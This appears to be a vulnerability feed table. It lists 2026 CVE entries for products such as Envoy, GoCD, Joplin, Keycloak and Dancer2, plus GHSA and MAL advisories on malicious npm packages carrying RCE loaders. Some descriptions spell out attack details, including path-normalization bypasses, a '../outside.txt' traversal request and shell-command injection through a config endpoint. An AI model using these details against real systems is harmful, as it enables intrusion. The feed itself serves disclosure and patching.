CVE-2026-73549	New	5.3	MEDI				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's Utility::copyInternetAddressAndPort and QUIC client-address paths reconstruct scoped IPv6 addresses through addressAsString and Ipv6Instance. The string includes a percent scope identifier that inet_pton cannot parse, causing an excepti...
CVE-2026-73551	New	5.3	MEDI				Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to 1.36.10, 1.37.6, 1.38.4, and 1.39.1, Envoy's URL normalization does not recognize dot and dotdot path segments when they carry semicolon parameters. A request such as /user/...;foo=bar/admin is therefore not canonicalized to /admin even when path normalization is enabled. If an ups...
CVE-2026-76974	New	5.3	MEDI				SAP Fiori Launchpad does not sufficiently validate certain user-controlled input. An unauthenticated attacker could craft a malicious link that, when clicked by an authenticated user, causes the browser to load attacker-controlled content from an external location. This could be used to exfiltrate sensitive information from the victim's session, resulting in a high impact on...
CVE-2026-77021	New	5.3	MEDI				Improper handling of highly compressed data (data amplification) in Checkmk <2.5.0p14, <2.4.0p37, <2.3.0p51 and 2.2.0 (EOL) allows an attacker who controls a host registered for push mode to exhaust the memory of the agent receiver by sending a small zlib compressed payload that decompresses to an arbitrary size.
CVE-2026-77561	New	5.3	MEDI				Tinyauth is an authentication and authorization server. Prior to 5.1.0, an unauthenticated remote attacker can send POST /api/user/login requests with 257 distinct nonexistent usernames to fill MaxLoginAttemptRecords and activate a global login lockdown. internal/controller/user_controller.go loginHandler passes each attacker-controlled identifier to internal/service/auth_se...
CVE-2026-85010	New	5.3	MEDI		0.002		The RestroPress WordPress plugin before 3.4.6 does not validate a client-supplied item add-on price on the server side when items are added to or updated in the cart, allowing unauthenticated users to set an arbitrary price and place orders for an attacker-chosen total, down to and including zero.
CVE-2026-88412	New	5.3	MEDI				An integer overflow in the _BulkInsert_ReadProperty component (/bulk_insert.c) of FalkorDB (Redis module) v4.20.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92400	New	5.3	MEDI		0.001		The Payment Gateway for PayPal on WooCommerce WordPress plugin before 9.2.1 does not verify that an incoming payment notification was confirmed in the store's configured payment environment or paid to the store's own merchant account before marking an order complete, allowing unauthenticated users to mark their own orders as paid using a genuine transaction from a payment sa...
CVE-2026-94494	New	5.3	MEDI				jshERP through 3.6 contains a tenant isolation bypass vulnerability that allows authenticated users to read other tenants' records via the GET /tenant/info endpoint. Attackers can iterate the primary key to enumerate and access sensitive tenant data including login names, validity dates, user quotas, and enabled state across all platform tenants.
CVE-2026-94625	New	5.3	MEDI				vLLM through 0.29.0 contains a resource exhaustion vulnerability in MooncakeConnector where rejected prefill requests create ownerless transfer placeholders that are never reclaimed. Attackers can send rejected requests to exhaust sender task pools, causing valid requests to be delayed by up to 480 seconds while health checks continue returning success.
CVE-2026-36472	New	5.2	MEDI				CuteNews v.2.1.2 is vulnerable to Cross Site Scripting (XSS). Improper neutralization of the __referer value 2.0.1 allows a remote attacker to execute arbitrary JavaScript in the context of an authenticated user's session via a javascript: URI rendered as an unsanitized clickable link on the msg_info page.
CVE-2026-45381	New	5.1	MEDI				Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashes. A backslash-quote sequence can terminate the string, so an unauthenticated at...
CVE-2026-52742	New	5.1	MEDI				GoCD is a continuous deliver server. From 12.3.1 until 26.1.0, legacy routes under /go/admin/restful/* expose historical full server configuration to pipeline group administrators instead of restricting responses to configuration for groups they administer. The disclosed configuration can include agent auto-registration keys, webhook invocation keys, encrypted material crede...
CVE-2026-91921	New	5.1	MEDI				Cross-Site Scripting (XSS) vulnerability due to inadequate input sanitisation in the client-side rendering engine of the 1millionbot AI Chat Platform. An unauthenticated remote user could cause external hyperlinks to be rendered in the web interface by sending messages containing Markdown syntax and certain unsanitised content blocks. The impact is limited to the user's own ...
CVE-2026-93339	New	5.1	MEDI				Metaphor Creations Ditty (ditty-news-ticker) before 3.1.70 contains a stored cross-site scripting vulnerability that allows authenticated users with Author-level privileges or higher to inject arbitrary HTML elements by supplying malicious wrapper attribute values in layout tags. The ditty_layout_render_tag_wrapper() function inserts caller-supplied wrapper attribute values ...
CVE-2026-94387	New	5.1	MEDI				Aureus ERP before 1.6.0 contains a stored cross-site scripting vulnerability in the Chatter field-change log where old_value and new_value entries are rendered without proper escaping. Any user permitted to edit tracked text fields can inject malicious markup that executes when other users, including administrators, view the record's Chatter panel.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77518	New	5.0	MEDI				MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, a normal workspace user who knows another user's active MCP tool_id in the same workspace can retrieve the hidden tool through the tool-detail route because it does not apply the per-resource authorization used by the list route. The response includes Tool.code, which may contain MCP server confi...
CVE-2026-55625	New	4.9	MEDI				GoCD is a continuous deliver server. From 16.1.0 until 26.1.0, the internal material connection test APIs at /go/api/admin/internal/material_test and /go/api/internal/config_repos/*/material_test accept an arbitrary existing pipeline and pipeline-group context without sufficient validation. A pipeline group administrator can invoke Test Connection for source control material...
CVE-2026-63329	New	4.9	MEDI				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.25.6, copy_server_request in warpgate-protocol-http/src/proxy.rs forwards a client-supplied x-warpgate-username header before inject_own_headers appends the authenticated username. Because the request builder preserves repeated values, a proxied backend that trusts the first x-warpgate-username...
CVE-2026-94213	New	4.9	MEDI		0.002		A flaw was found in the Authorization Services component of Keycloak, an open-source identity and access management solution. The issue occurs in the policy evaluation endpoint, which is used by administrators to test how access policies apply to specific users. Due to missing authorization checks, a delegated administrator with limited viewing privileges can access the full...
CVE-2026-49995	New	4.8	MEDI				Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the newsletter cron field stored in the newsletters table is inserted by data/interfaces/default/newsletter_config.html into a JavaScript string without safe JSON encoding. An administrator or caller with the Tautulli API key can store a crafted cron value, and an administrator wh...
CVE-2026-94490	New	4.7	MEDI				A security flaw has been discovered in OctoPrint 1.0.0. Affected by this issue is the function executeSystemCommand of the file src/octoprint/server/api/system.py of the component Command API. Performing a manipulation of the argument command results in os command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may b...
CVE-2026-46650	New	4.4	MEDI				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.2, isAcceptedUrl() in packages/renderer/htmlUtils.ts uses an unanchored regular expression for internal resource URLs, allowing a javascript: URL containing a matching 32-character path fragment to pass validation and be emitted into an HTML note's link. A l...
CVE-2026-94588	New	4.4	MEDI				In Proxmox pmg-api, an argument injection vulnerability exists in the package changelog retrieval functionality. This is caused by improper handling of user-supplied input passed to the underlying apt-get command when fetching package changelogs. It requires authentication but can be exploited in a CSRF-style attack.
CVE-2026-52743	New	4.3	MEDI				GoCD is a continuous deliver server. Prior to 26.1.0, the internal GoCD UI /jobStatus.json API does not validate that a requested server-assigned job ID belongs to the pipeline and stage named in the request. An authenticated user can guess job IDs and retrieve status for jobs in pipelines the user cannot otherwise view, including job names, state, progress timestamps, assign...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59815	New	4.3	MEDI				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, Joplin Server's ItemModel.checkIfAllowed() authorizes writes to items with a share ID when any share_users row exists for the caller, without requiring ShareUserStatus.Accepted. A low-privileged authenticated user with a pending folder-share invitation ca...
CVE-2026-59816	New	4.3	MEDI				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, the GET /api/transcribe/:id and POST /api/transcribe/:id handlers in packages/server/src/routes/api/transcribe.ts on Joplin Server instances with TRANSCRIBE_ENABLED=true pass the decoded id directly into transcription backend URLs. An authenticated user c...
CVE-2026-61745	New	4.3	MEDI				InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, the POST /api/machine/{pk}/restart/ endpoint in src/backend/InvenTree/machine/api.py uses IsAuthenticatedOrReadScope without requiring the ADMIN role used by other machine management operations. Any authenticated user who lacks the ADMIN role, including a warehouse user with only the STOCK role, can cau...
CVE-2026-61747	New	4.3	MEDI				InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, the /api/importer/row/ and /api/importer/mapping/ endpoints do not scope DataImportRow and DataImportColumnMap querysets to the owner of the associated DataImportSession. Any authenticated user, including an account with no assigned roles, can supply another user's import session identifier and retrieve...
CVE-2026-61748	New	4.3	MEDI				InvenTree is an Open Source Inventory Management System. Prior to 1.4.0, ReportPrint at POST /api/report/print/ and LabelPrint at POST /api/report/label/print/ require authentication but do not call users.permissions.check_user_permission for the caller's per-model view role before selecting objects by primary key and rendering them with a chosen template. Because default te...
CVE-2026-75158	New	4.3	MEDI				Apache Airflow's `/assets/events` API returned asset events for every Dag in the deployment, with no filter restricting them to the Dags the caller is authorized to read. Any authenticated user holding asset-read access could therefore enumerate asset events — including the source Dag ID, task ID, run ID and event timestamps — for Dags they have no permission to see. Because...
CVE-2026-77522	New	4.3	MEDI				MaxKB is an open-source AI assistant for enterprise. In version 2.10.3-lts and earlier, the knowledge web-document import and synchronization crawler passes an authenticated workspace user's URL to Fork.fork, which calls requests.get with verify=False and without restricting schemes, loopback, link-local, private, or reserved addresses. The response body is converted into im...
CVE-2026-88978	New	4.3	MEDI				Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.106.1, the WorkerStatus gRPC polling path in pkg/repository/durable_events.go passes caller-supplied durable task, node, and branch identifiers to ListSatisfiedEntries without a tenant filter, allowing an authenticated tenant worker that knows another tenant's dura...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-91164	New	4.3	MEDI				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. From 0.23.0 until 0.27.3, HTTP API token authentication resolves ConfigProvider::validate_api_token into RequestAuthorization::UserToken without enforcing the owning user's allowed_ip_ranges against the trusted client address in warpgate-protocol-http/src/common.rs. An attacker holding a leaked, phished,...
CVE-2026-91867	New	4.3	MEDI				When Neethi fetches a remote policy reference, it only limits the time per read, not the whole transfer, so a server that trickles bytes slowly can keep the fetch alive indefinitely and tie up the calling thread (denial of service). Users are recommended to upgrade to version 3.2.4, which fixes this issue.
CVE-2026-94152	New	4.3	MEDI		0.002		A security vulnerability has been detected in Omega Solution FBP Fulfillment by People 2025. This impacts an unknown function of the file /user/ of the component User Profile API. The manipulation of the argument ID leads to authorization bypass. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted e...
CVE-2026-94214	New	4.3	MEDI				A vulnerability was found in ST Engineering iDirect Evolution and Velocity WebServer Evolution up to 20260717. This affects an unknown part of the file /login.html of the component Management Service. Performing a manipulation of the argument Host results in open redirect. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The...
CVE-2026-94489	New	4.3	MEDI				A vulnerability was identified in OctoPrint 1.0.0. Affected by this vulnerability is the function _validate of the file src/octoprint/server/api/files.py of the component File Download API. Such manipulation of the argument filename leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted ...
CVE-2026-94536	New	4.3	MEDI				lamp-cloud through 5.10.0 fails to validate the employeeid parameter in the /anyone/visible/resource endpoint, allowing authenticated users to read any employee's roles and permissions. Attackers can supply arbitrary employeeid values to enumerate other employees' role codes, permission codes, and complete front-end router trees without authorization checks.
CVE-2026-61630	New	4.2	MEDI			go:github.com/lucasdillmann/nginx-ignition	nginx ignition is a user interface for the nginx web server. In versions 2.33.0 through 2.35.0, any user that has enabled the OTP 2FA can have their TOTP reused during the standard 30 second validity window. Version 2.35.1 patches the issue.
CVE-2026-63373	New	4.2	MEDI				draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, the OAuth callback handler in src/main/java/com/mxgraph/online/AbsAuth.java skips comparison of stateToken and cookieToken whenever IS_GAE is false, which affects self-hosted Docker and WAR deployments. An attacker can provide an authorization code for the attacker's cloud-storage i...
CVE-2026-77525	New	4.2	MEDI				MaxKB is an open-source AI assistant for enterprise. In 2.10.2-lts and earlier, management chat-record routes authorize the path application_id but load records using global chat_id and chat_record_id values without confirming that the chat belongs to the authorized application. A normal user in the same workspace who knows the chat_id of a persisted non-debug record for a v...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-82355	New	4.2	MEDI				When a request to the Airflow core API carries both a session cookie and an explicit `Authorization: Bearer` token, Airflow resolves the caller from the cookie and ignores the bearer token, inverting the intended precedence of bearer over cookie. The request then executes -- and is recorded in the audit log -- as the cookie's principal rather than the identity the client exp...
CVE-2026-61681	New	4.1	MEDI				Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.91.1, the SNS UnsubscribeConfirmation handler in internal/integrations/ingestors/sns/sns.go calls http.Get() on payload.UnsubscribeURL after VerifyPayload() even though BuildSignature() excludes UnsubscribeURL, allowing an authenticated Hatchet tenant to replace th...
CVE-2026-92382	New	4.1	MEDI				An out-of-bounds write flaw was found in usbredir. Starting an isochronous OUT stream with a transfer count of 1 leaves the stream's single transfer buffer permanently unsubmitted, defeating the bounds check in usbredirhost_iso_packet() and allowing a usbredir peer to write past the end of the packet descriptor array on every subsequent isochronous packet.
CVE-2026-55060	New	3.7	LOW				GoCD is a continuous deliver server. From 13.1.0 until 26.1.0, the /go/api/support/process_list endpoint does not enforce its intended administrator-only authorization. An authenticated internal user can query the endpoint while source control child processes are running and view command-line arguments, usernames, remote material URLs, and internal material paths for materia...
CVE-2026-63416	New	3.7	LOW				draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, src/main/java/com/mxgraph/online/ExportProxyServlet.java uses request.getPathInfo() to build a proxyPath and appends it directly to EXPORT_URL without rejecting dot segments or confirming that the normalized destination remains under the configured export path. An unauthenticated re...
CVE-2026-85219	New	3.7	LOW				Denial-of-Service in Redis module in Thinkst Canary's OpenCanary 0.9.9 allows an unauthenticated remote attacker cause unconstrained memory usage.
CVE-2026-85220	New	3.7	LOW				A vulnerability in the Thinkst Canary honeypot Redis service allows an unauthenticated remote attacker to execute a Denial-of-Service attack against the honeypot. The vulnerability is accessible when the Redis service is enabled only. The Canary is NOT affected if the Redis service is disabled. Thinkst has addressed this issue on all supported platforms. New update files...
CVE-2026-86802	New	3.7	LOW		0.002		The To Do List Member WordPress plugin through 1.6 does not have authorisation or nonce checks in an import routine, and does not validate the location it fetches the imported data from, allowing unauthenticated users to create arbitrary published posts and taxonomy terms on the site.
CVE-2026-94217	New	3.5	LOW		0.001		A flaw was found in the User-Managed Access (UMA) implementation of Keycloak. The issue occurs in the authorization token endpoint when processing permission tickets. If two different users own resources with the same name, the system incorrectly merges the permissions from both resources when one user requests an authorization token. This allows an attacker to gain access s...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94426	New	3.5	LOW				A vulnerability was determined in xuxueli xxl-job up to 3.5.0. The impacted element is an unknown function of the file /jobgroup/insert. This manipulation of the argument Name causes cross site scripting. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond ...
CVE-2026-84298	New	3.1	LOW				Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.95.3, the V1 DurableTask stream handler stores worker-supplied task_external_id values in the durableInvocations routing map before tenant ownership is verified, and callback delivery resolves that map by task UUID without tenant identity. An authenticated tenant w...
CVE-2026-94218	New	3.1	LOW		0.002		A flaw was found in the authentication session management of Keycloak, an identity and access management solution. The issue occurs when an administrator enforces a stronger authentication flow, such as mandatory two-factor authentication (2FA) setup, through a client policy. A user can bypass this requirement by manually visiting a specific session restart web link during t...
CVE-2026-49449	New	2.5	LOW				Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. From 1.4.0 until 3.7.2, packages/renderer/MdToHtml/rules/katex.ts enables KaTeX's trust option for note content, allowing a note author to place a \href URL into rendered output without passing Joplin's normal URL allowlist. On Windows, clicking a link whose target is an...
CVE-2026-77166	New	2.4	LOW				The emoji field in the page emoji update endpoint does not properly validate user input. By injecting long text and line breaks, the sidebar layout becomes broken and can hide other items.
CVE-2026-91165	New	2.4	LOW				Warpgate is an open source SSH, HTTPS and MySQL bastion host for Linux. Prior to 0.27.6, the response_mode=form_post SSO return path in warpgate-protocol-http/src/api/sso_provider_list.rs uses serde_json::to_string inside RedirectToSsoPostResponse without neutralizing a script-closing sequence. The vulnerable value can enter the script block through the attacker-controlled nex...
CVE-2026-94150	New	2.4	LOW		0.002		A security flaw has been discovered in Omega Solution HRM OS up to 20260717. The impacted element is an unknown function of the file /media/view/ of the component SVG File Upload. Performing a manipulation results in cross site scripting. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted ea...
CVE-2026-55870	New	2.3	LOW				GoCD is a continuous deliver server. Prior to 26.1.0, GoCD can return unmasked credentials that administrators stored in the userinfo portion of source control material URLs through several read-only APIs available to regular authenticated users. Although GoCD recommends dedicated username and password fields or secret-management plugins, legacy configuration permits credent...
CVE-2026-94382	New	2.3	LOW				Beszel before 0.19.0 contains an insecure direct object reference vulnerability in the POST and DELETE /api/beszel/user-alerts handlers that allows any authenticated user to create or delete alerts on systems they cannot access. Attackers can supply arbitrary system IDs in the request body to register alert rules and receive notifications disclosing target system names and m...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94149	New	2.1	LOW		0.002		A vulnerability was identified in Omega Solution HRM OS up to 20260717. The affected element is an unknown function of the file /role-permission/permission of the component Role Permission Retrieval Endpoint. Such manipulation of the argument roleId leads to improper control of resource identifiers. The attack can be launched remotely. The exploit is publicly available and m...
CVE-2026-94216	New	2.1	LOW				A vulnerability was determined in ST Engineering iDirect Evolution and Velocity WebServer Evolution up to 20260717. This vulnerability affects the function authorize of the file /usr/sbin/webserver of the component HTTP Header Handler. Executing a manipulation of the argument Success can lead to open redirect. It is possible to launch the attack remotely. The exploit has bee...
CVE-2026-94145	New	2.0	LOW		0.002		A vulnerability has been found in xuxueli xxl-job up to 3.4.2/3.5.0. This vulnerability affects unknown code of the file xxl-job-admin/src/main/java/com/xxl/job/admin/business/controller/JobInfoController.java of the component Task Management Interface. The manipulation of the argument name/author leads to cross site scripting. It is possible to initiate the attack remotely....
CVE-2026-94210	New	2.0	LOW				A flaw has been found in Hyve5 Leantime up to 3.9.8. Affected by this vulnerability is the function getAllGrouped of the file app/Domain/Tickets/Services/Tickets.php of the component Kanban Board. This manipulation causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been published and may be used. Patch name: a30a6837b4071ac05a4f58...
CVE-2026-94211	New	1.9	LOW				A vulnerability has been found in Hyve5 Leantime up to 3.9.8. Affected by this issue is some unknown functionality of the file /app/Domain/Dashboard/Templates/show.blade.php of the component Project Dashboard. Such manipulation leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. "EDIT perm" nee...
CVE-2026-92612	New	1.0	LOW				In Eclipse iceoryx2 versions greater than v0.8.0, the StaticString exposes its contents as mutable bytes through safe APIs, while String::as_str() converts those bytes into a Rust string slice without validating UTF-8. An application can therefore create an invalid &str and trigger undefined behavior using entirely safe Rust.
CVE-2026-36469	New						CuteNews v.2.1.2 is vulnerable to Server-Side Request Forgery (SSRF) in core/modules/media.php -- upload_from_inet (Media Manager's "Upload by URL" functionality).
CVE-2026-36470	New						CuteNews v.2.1.2 is vulnerable to Cross Site Scripting (XSS) in index.php. The value of the "Referer" header is copied into the response HTML unmodified/unescaped during POST messages to index.php.
CVE-2026-36471	New						Deserialization of Untrusted Data of the __post_data parameter in cn_parse_url() in CuteNews v.2.1.2 allows a remote attacker to inject arbitrary values into internal request variables (including __referer) via a crafted base64-encoded serialized PHP payload submitted as a POST parameter.
CVE-2026-66280	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-67827	New						Incorrect Access Control in the HTTP API module in ZLMediaKit commit 9fd5152 allows remote attackers to achieve Remote Code Execution (RCE) via unauthenticated access to the setServerConfig API endpoint, which permits overwriting the ffmpeg.snap configuration parameter with arbitrary shell commands. These commands are subsequently executed through the getSnap API endpoint wi...
CVE-2026-78806	New						An issue in Matter Standard Specification-Implementation gap v1.5.1 Matter Project Chip V1.5.1 allows a local attacker to obtain sensitive information via the PerformCommissioningStep function in the ChipDeviceController.cpp component
CVE-2026-78847	New						An issue in gray-matter All versions (verified on 4.0.3) allows the JavaScript engine in lib/engines.js using eval() to parse front matter when language is js/javascript.This allows arbitrary code execution.
CVE-2026-79079	New						An issue in CrossWire Xiphos <= 4.3.2 allows a local attacker to execute arbitrary code via the src/main/url.cc and src/gtk/menu_popup.c components
CVE-2026-79316	New						An improper access control vulnerability exists in x-ui 0.3.2. Any authenticated panel user can modify the xray configuration template through the settings interface and trigger a panel restart, causing the xray management gRPC service, which is bound to loopback by default, to be regenerated and bound to non-loopback addresses. This expands the reachable surface of the mana...
CVE-2026-79317	New						A session invalidation flaw exists in x-ui 0.3.2. The full user object is stored in a client-side signed cookie, and authentication only checks that a user object can be retrieved from the cookie without re-validating against the database or any session version. When an administrator changes the username or password, previously issued session cookies are not revoked, so an a...
CVE-2026-79318	New						web2py 3.2.2-stable (commit a7330a2bf21219fa77860b6665de927dd4f98e6d) is vulnerable to Directory Traversal in read_file()/write_file() (applications/admin/controllers/webservices.py).
CVE-2026-79319	New						Stencil core 4.43.5 is vulnerable to Incorrect Access Control.
CVE-2026-79320	New						Stencil core 4.43.5 contains a DOM-based cross-site scripting (XSS) vulnerability in the component runtime. When a downstream application enables the experimental slot fixes option and uses scoped components, assigning a string to the textContent property of such a component's host element causes the value to be parsed as HTML instead of being inserted as text. If an applica...
CVE-2026-88402	New						A SQL injection vulnerability in the checkSQL function of nocobase v2.1.21 allows attackers to access sesntive database information via injecting crafted SQL statements.
CVE-2026-88403	New						A Server-Side Request Forgery (SSRF) in the serverRequest function of nocobase v2.1.21 allows authenticated attackers to scan internal resources via a crafted HTTP request.
CVE-2026-88404	New						A remote code execution (RCE) vulnerability in the UniscriptExecutionService.execute() function (/services/script-execution.service.ts) of Univer v1.0.0-alpha.2 allows attackers to execute arbitrary code via a crafted payload.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88405	New						A remote code execution (RCE) vulnerability in the RemoteRegisterFunctionService function (/remote/remote-register-function.service.ts) of Univer v1.0.0-alpha.2 allows attackers to execute arbitrary code via a crafted payload.
CVE-2026-88467	New						CRMEB Knowledge-Paid System crmeb_zzff_class 1.4.4 has a backend verification function that returns the wrong type of value, causing errors and leaking sensitive information.
CVE-2026-88738	New						Jazzware RT1000 Edge webUI v. 20.0.1 contains an unrestricted file upload vulnerability in the upgrade package upload functionality. An authenticated attacker can upload a server-side executable file. The uploaded file is stored in a web-accessible executable location and can be accessed directly over HTTP without authentication, resulting in remote code execution.
CVE-2026-88745	New						EMLOG-Pro 2.6.29 contains a XSS vulnerability that enables attackers to upload a malicious shell.
CVE-2026-88746	New						idccms V1.70 is vulnerable to Cross Site Scripting (XSS) in /admin/makeDiy_deal.php.
CVE-2026-88756	New						Pagekit CMS <= 1.0.18 allows an unauthenticated attacker to perform SQL injection through the credentials array submitted to the public login endpoint (POST /user/authenticate).
CVE-2026-88788	New						The Text Styler WordPress plugin through 1.1.1 does not sanitise and escape user-supplied styling values before outputting them within a front-end style block, and does not verify that a user may edit the target post, allowing users with contributor-level access or above to store JavaScript that executes in the browser of anyone viewing the affected post, including administr...
CVE-2026-93012	New						Email::Sender::Transport::Sendmail versions before 2.602 for Perl allow arbitrary command execution on Windows sending a message whose envelope address reaches the shell in _sendmail_pipe. On MSWin32 the envelope sender and every recipient go into a single command string, which open() passes to a shell. Every other platform gets the list form, which runs sendmail directly. ...
CVE-2026-93709	New						Dancer2 versions before 2.2.0 for Perl serve a layout as a page when an equivalent spelling of its path misses the guard in the AutoPage handler. The handler compares the request path against the layout directory name as text, while the lookup that follows canonicalises it. A doubled slash, a dot segment, a percent-encoded slash, or a different capitalisation on a case-inse...
CVE-2026-93710	New						Dancer2 versions from 2.0.0 before 2.2.0 for Perl dispatch a route that a dying hook refused when the exception handler halts the response in compile_hooks. A hook that dies fires core.app.hook_exception, then calls cleanup unless the failing hook is the exception handler. A handler that halts does not stop that cleanup, which discards the request, response and session the ...
CVE-2026-93711	New						Dancer2 versions before 2.2.0 for Perl do not strip CR and LF from response header names in headers_to_array. The routine removes CR and LF from each header value but not from the name. A name carrying them therefore reaches the PSGI server intact. A server that does not validate keys writes it to the wire, so the bytes after the CRLF arrive as their own header line. The a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93712	New						Dancer2 versions from 2.1.0 before 2.2.0 for Perl serve files from outside public_dir via relative path segments in the File route handler. The handler joins the request path onto public_dir without collapsing relative segments, and checks only that the result is a readable regular file. A request for `../outside.txt` escapes public_dir, and percent-encoding the dots reach...
CVE-2026-93884	New						Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. Reason: This candidate was issued in error. Notes: All references and descriptions in this candidate have been removed to prevent accidental usage.
GHSA-264w-9h55-v637	New					npm:test-react-app-way	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (8dd5c5cfe4731b46d1c41c5302999050eb7a5a29864805bf75e3cb22a661237a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-97cg-r346-fg22	New					npm:math-universe	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (89fff5839121902ff7a057bb9dbe44b301c1a9a3496d659aa83061adf59b8be0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-jhjp-4c2q-xmx4	New		MODE			Go:github.com/falcosecurity/plugins/plugins/k8saudit, Go:github.com/falcosecurity/plugins/plugins/k8saudit-aks, Go:github	The `k8saudit` plugin's per-container fields (`ka.req.pod.containers.*`) and the shipped `k8s_audit_rules.yaml` evaluated only `responseObject.spec.containers`. Security-relevant settings on a pod's `initContainers` or `ephemeralContainers` were not inspected, so the shipped `Create Privileged Pod` rule did not fire for a privileged container placed in either list. ### Impac...
GHSA-mfwv-9gcf-2mww	New					npm:wos-library	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (524ae7b1915578b6502bbdcad69264369a3d7fe728a7eb0e507e9a3055a37749) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-q5h9-3mvh-45cf	New					npm:@vite-tab/tabui	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (ec35d5c09558092f8480d118a1b921f3e30e1edd37ace970d3a69a6fc3799d2c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-rqjq-px4f-2m8r	New					npm:@zig-design-system/react	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (c1247992d3c2b02f93cea726189a4ff0a25eef9535b2a34eb7a120f8c9496f67) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-v4cx-64j6-84xm	New					npm:mathsbase	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (82505f2acc5dffa08689e7e69b76e8c036a30f0e7278c1c6d6320378f897cab7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-v6mx-2p6p-3628	New					npm:mathmain	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (2efbde62af560e128a53be806e5c2cd707df313034018ec90230585068415ae4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-vx3p-fwmg-p7g8	New					npm:test-react-app-out	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (37116c57e577d1e9271e66cf5cc5171bd4c792456b2f581dc060e00714864291) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-wm2w-4m2r-mv73	New					npm:test-react-app-in	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (ebade640fa6ac69a17ff3a928d1fc0637eb0a32786093578c953de7e56c52231) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
MAL-2026-16348	New					npm:hardhat-base	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a65f09d6bfd4d7c28183a13e64a9eb5e989fa7b24fb92c049a044accefe4950) Package presents itself as a pino-compatible logger (module.exports.pino = middleware; keywords fast/logger/stream/json) but ships an RCE loader. index.js spawns lib/caller.js as a detached child process on middleware in...
MAL-2026-16349	New					npm:hardhat-devkit	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ddcb676af47bf26017d1fbc2cf63aae76d09e9248e860f6d0e86d57da92d2b95) Package published as `hardhat-devkit` presents itself as an Ethereum/Hardhat developer toolkit, but the shipped surface is a cover story: README, index.d.ts, and keywords (`fast`, `logger`, `stream`, `json`) are copied f...
